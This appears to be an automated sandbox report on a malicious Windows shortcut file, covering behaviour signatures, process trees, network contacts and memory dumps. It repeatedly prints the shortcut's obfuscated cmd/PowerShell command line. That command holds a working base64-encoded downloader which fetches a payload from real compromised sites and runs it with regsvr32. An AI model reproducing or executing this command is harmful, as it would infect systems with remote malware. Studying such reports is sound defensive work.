Malware Analysis Report

2024-12-07 16:14

Sample ID 241113-lnf6jaspbp
Target 997e6a4caf197fb6695e693d61601a9863f27d35cfb4b9953897bcac2a8fefc5
SHA256 997e6a4caf197fb6695e693d61601a9863f27d35cfb4b9953897bcac2a8fefc5
Tags
execution
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

997e6a4caf197fb6695e693d61601a9863f27d35cfb4b9953897bcac2a8fefc5

Threat Level: Likely malicious

The file 997e6a4caf197fb6695e693d61601a9863f27d35cfb4b9953897bcac2a8fefc5 was found to be: Likely malicious.

Malicious Activity Summary

execution

Blocklisted process makes network request

Checks computer location settings

Command and Scripting Interpreter: PowerShell

An obfuscated cmd.exe command-line is typically used to evade detection.

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-13 09:40

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-13 09:40

Reported

2024-11-13 09:43

Platform

win7-20240903-en

Max time kernel

118s

Max time network

118s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\997e6a4caf197fb6695e693d61601a9863f27d35cfb4b9953897bcac2a8fefc5.lnk

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

An obfuscated cmd.exe command-line is typically used to evade detection.

Description Indicator Process Target
N/A N/A C:\Windows\System32\cmd.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\997e6a4caf197fb6695e693d61601a9863f27d35cfb4b9953897bcac2a8fefc5.lnk

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /v:on /c XxlJPJBQkT46VdMdQigOB930G4w8r3fGWLHDECTcu2Gvw/5R92JhPqlNre7LjMzY55k/aHQl||p^o^w^e^r^s^h^e^l^l.e^x^e -c "&{$HXG=[System.Text.Encoding]::ASCII;$ghT='ICBXcml0ZS1Ib3N0ICJYaHFJVSI7JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL3d3dy5qc29uc2ludGwuY29tL1J4c0dnb1ZXejkvNEhGaTNaWll0bllndEVMZ0NIblovIiwiaHR0cDovL2NtZW50YXJ6LjV';$ufmV='2LnBsL3RoZW1lcy96YWxNa1RiLyIsImh0dHBzOi8vbmFraGFyaW5pdHdlYmhvc3RpbmcuY29tL0hTRFlLTjFYNUdMRi8iLCJodHRwOi8vbmNpYS5kb3Rob21lLmNvLmtyL3dwLWluY2x1ZGVzL2x1N0pialg4WEwxS2FELyIsImh0dHA6Ly9waWZmbC5jb20vcGlmZmwuY29tL2EvIiwiaHR0cDovL2RpZ2l0YWxraXRjaGVuLmpwL2ltYWdlcy9QVm4vIik7JHQ9Ilp0TUlqWXgiOyRkPSIkZW52OlRNUFwuLlwkdCI7bWtkaXIgLWZvcmNlICRkIHwgb3V0LW51bGw7Zm9yZWFjaCAoJHUgaW4gJGxpbmtzKSB7dHJ5IHtJV1IgJHUgLU91dEZpbGUgJGRcSUtkemZKdFFwai5CQ1A7UmVnc3ZyMzIuZXhlICIkZFxJS2R6Zkp0UXBqLkJDUCI7YnJlYWt9IGNhdGNoIHsgfX0=';$AHI=[System.Convert]::FromBase64String($ghT+$ufmV);$TcqkRL=$HXG.GetString($AHI); iex ($TcqkRL)}"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -c "&{$HXG=[System.Text.Encoding]::ASCII;$ghT='ICBXcml0ZS1Ib3N0ICJYaHFJVSI7JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL3d3dy5qc29uc2ludGwuY29tL1J4c0dnb1ZXejkvNEhGaTNaWll0bllndEVMZ0NIblovIiwiaHR0cDovL2NtZW50YXJ6LjV';$ufmV='2LnBsL3RoZW1lcy96YWxNa1RiLyIsImh0dHBzOi8vbmFraGFyaW5pdHdlYmhvc3RpbmcuY29tL0hTRFlLTjFYNUdMRi8iLCJodHRwOi8vbmNpYS5kb3Rob21lLmNvLmtyL3dwLWluY2x1ZGVzL2x1N0pialg4WEwxS2FELyIsImh0dHA6Ly9waWZmbC5jb20vcGlmZmwuY29tL2EvIiwiaHR0cDovL2RpZ2l0YWxraXRjaGVuLmpwL2ltYWdlcy9QVm4vIik7JHQ9Ilp0TUlqWXgiOyRkPSIkZW52OlRNUFwuLlwkdCI7bWtkaXIgLWZvcmNlICRkIHwgb3V0LW51bGw7Zm9yZWFjaCAoJHUgaW4gJGxpbmtzKSB7dHJ5IHtJV1IgJHUgLU91dEZpbGUgJGRcSUtkemZKdFFwai5CQ1A7UmVnc3ZyMzIuZXhlICIkZFxJS2R6Zkp0UXBqLkJDUCI7YnJlYWt9IGNhdGNoIHsgfX0=';$AHI=[System.Convert]::FromBase64String($ghT+$ufmV);$TcqkRL=$HXG.GetString($AHI); iex ($TcqkRL)}"

Network

N/A

Files

memory/2548-40-0x000007FEF587E000-0x000007FEF587F000-memory.dmp

memory/2548-41-0x000000001B620000-0x000000001B902000-memory.dmp

memory/2548-42-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

memory/2548-44-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

memory/2548-45-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

memory/2548-46-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

memory/2548-43-0x0000000002720000-0x0000000002728000-memory.dmp

memory/2548-47-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

memory/2548-48-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-13 09:40

Reported

2024-11-13 09:43

Platform

win10v2004-20241007-en

Max time kernel

149s

Max time network

150s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\997e6a4caf197fb6695e693d61601a9863f27d35cfb4b9953897bcac2a8fefc5.lnk

Signatures

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation C:\Windows\system32\cmd.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

An obfuscated cmd.exe command-line is typically used to evade detection.

Description Indicator Process Target
N/A N/A C:\Windows\System32\cmd.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2296 wrote to memory of 556 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\cmd.exe
PID 2296 wrote to memory of 556 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\cmd.exe
PID 556 wrote to memory of 2372 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 556 wrote to memory of 2372 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\997e6a4caf197fb6695e693d61601a9863f27d35cfb4b9953897bcac2a8fefc5.lnk

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /v:on /c XxlJPJBQkT46VdMdQigOB930G4w8r3fGWLHDECTcu2Gvw/5R92JhPqlNre7LjMzY55k/aHQl||p^o^w^e^r^s^h^e^l^l.e^x^e -c "&{$HXG=[System.Text.Encoding]::ASCII;$ghT='ICBXcml0ZS1Ib3N0ICJYaHFJVSI7JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL3d3dy5qc29uc2ludGwuY29tL1J4c0dnb1ZXejkvNEhGaTNaWll0bllndEVMZ0NIblovIiwiaHR0cDovL2NtZW50YXJ6LjV';$ufmV='2LnBsL3RoZW1lcy96YWxNa1RiLyIsImh0dHBzOi8vbmFraGFyaW5pdHdlYmhvc3RpbmcuY29tL0hTRFlLTjFYNUdMRi8iLCJodHRwOi8vbmNpYS5kb3Rob21lLmNvLmtyL3dwLWluY2x1ZGVzL2x1N0pialg4WEwxS2FELyIsImh0dHA6Ly9waWZmbC5jb20vcGlmZmwuY29tL2EvIiwiaHR0cDovL2RpZ2l0YWxraXRjaGVuLmpwL2ltYWdlcy9QVm4vIik7JHQ9Ilp0TUlqWXgiOyRkPSIkZW52OlRNUFwuLlwkdCI7bWtkaXIgLWZvcmNlICRkIHwgb3V0LW51bGw7Zm9yZWFjaCAoJHUgaW4gJGxpbmtzKSB7dHJ5IHtJV1IgJHUgLU91dEZpbGUgJGRcSUtkemZKdFFwai5CQ1A7UmVnc3ZyMzIuZXhlICIkZFxJS2R6Zkp0UXBqLkJDUCI7YnJlYWt9IGNhdGNoIHsgfX0=';$AHI=[System.Convert]::FromBase64String($ghT+$ufmV);$TcqkRL=$HXG.GetString($AHI); iex ($TcqkRL)}"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -c "&{$HXG=[System.Text.Encoding]::ASCII;$ghT='ICBXcml0ZS1Ib3N0ICJYaHFJVSI7JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL3d3dy5qc29uc2ludGwuY29tL1J4c0dnb1ZXejkvNEhGaTNaWll0bllndEVMZ0NIblovIiwiaHR0cDovL2NtZW50YXJ6LjV';$ufmV='2LnBsL3RoZW1lcy96YWxNa1RiLyIsImh0dHBzOi8vbmFraGFyaW5pdHdlYmhvc3RpbmcuY29tL0hTRFlLTjFYNUdMRi8iLCJodHRwOi8vbmNpYS5kb3Rob21lLmNvLmtyL3dwLWluY2x1ZGVzL2x1N0pialg4WEwxS2FELyIsImh0dHA6Ly9waWZmbC5jb20vcGlmZmwuY29tL2EvIiwiaHR0cDovL2RpZ2l0YWxraXRjaGVuLmpwL2ltYWdlcy9QVm4vIik7JHQ9Ilp0TUlqWXgiOyRkPSIkZW52OlRNUFwuLlwkdCI7bWtkaXIgLWZvcmNlICRkIHwgb3V0LW51bGw7Zm9yZWFjaCAoJHUgaW4gJGxpbmtzKSB7dHJ5IHtJV1IgJHUgLU91dEZpbGUgJGRcSUtkemZKdFFwai5CQ1A7UmVnc3ZyMzIuZXhlICIkZFxJS2R6Zkp0UXBqLkJDUCI7YnJlYWt9IGNhdGNoIHsgfX0=';$AHI=[System.Convert]::FromBase64String($ghT+$ufmV);$TcqkRL=$HXG.GetString($AHI); iex ($TcqkRL)}"

Network

Country Destination Domain Proto
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 www.jsonsintl.com udp
US 8.8.8.8:53 cmentarz.5v.pl udp
PL 79.137.71.10:80 cmentarz.5v.pl tcp
US 8.8.8.8:53 83.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 5v.pl udp
FI 95.217.209.65:80 5v.pl tcp
FI 95.217.209.65:443 5v.pl tcp
US 8.8.8.8:53 nakharinitwebhosting.com udp
US 8.8.8.8:53 ncia.dothome.co.kr udp
US 8.8.8.8:53 10.71.137.79.in-addr.arpa udp
US 8.8.8.8:53 67.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 65.209.217.95.in-addr.arpa udp
KR 112.175.185.142:80 ncia.dothome.co.kr tcp
US 8.8.8.8:53 piffl.com udp
DE 185.82.22.193:80 piffl.com tcp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 www.piffl.com udp
DE 185.82.22.193:80 www.piffl.com tcp
US 8.8.8.8:53 digitalkitchen.jp udp
US 8.8.8.8:53 142.185.175.112.in-addr.arpa udp
US 8.8.8.8:53 193.22.82.185.in-addr.arpa udp
JP 150.60.237.127:80 digitalkitchen.jp tcp
US 8.8.8.8:53 digi-kit.jpimages udp
US 8.8.8.8:53 127.237.60.150.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 56.163.245.4.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 103.208.201.84.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp

Files

memory/2372-0-0x00007FF8CE0A3000-0x00007FF8CE0A5000-memory.dmp

memory/2372-1-0x000001E8465E0000-0x000001E846602000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hpnfiwjy.v1w.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2372-11-0x00007FF8CE0A0000-0x00007FF8CEB61000-memory.dmp

memory/2372-12-0x00007FF8CE0A0000-0x00007FF8CEB61000-memory.dmp

memory/2372-15-0x00007FF8CE0A0000-0x00007FF8CEB61000-memory.dmp